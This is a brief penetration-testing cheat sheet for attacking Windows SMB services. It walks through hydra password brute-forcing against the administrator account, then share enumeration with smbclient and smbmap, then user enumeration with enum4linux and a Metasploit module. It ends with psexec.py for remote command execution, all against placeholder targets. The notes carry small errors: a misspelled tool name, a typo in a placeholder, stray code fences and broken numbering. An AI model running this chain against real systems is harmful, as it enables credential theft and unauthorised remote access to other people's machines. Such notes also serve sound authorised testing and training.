Targeting SMB
- Identify usernames which will be used to perform a brute-force attack. Example:
hydra -l administrator -P PASSWORDS_LIST TARGET_IP smb
- Once credentials are obtained, enumerate shares:
smbclient -L TARGET_IP -U USERNAME
# Enter password when requested
smbmap -u USERNAME -p PASSWORD -H TARGET_IP
- Enumerate other users on the system:
# Using enum2linux
enum4linux -u UASERNAME -P PASSWORD TARGET_IP
# Using Metasploit
use auxiliary/scanner/smb/smb_enumusers
````
4. Use psexec.py
```bash
psexec.py USERNAME@TARGET_IP
# Enter password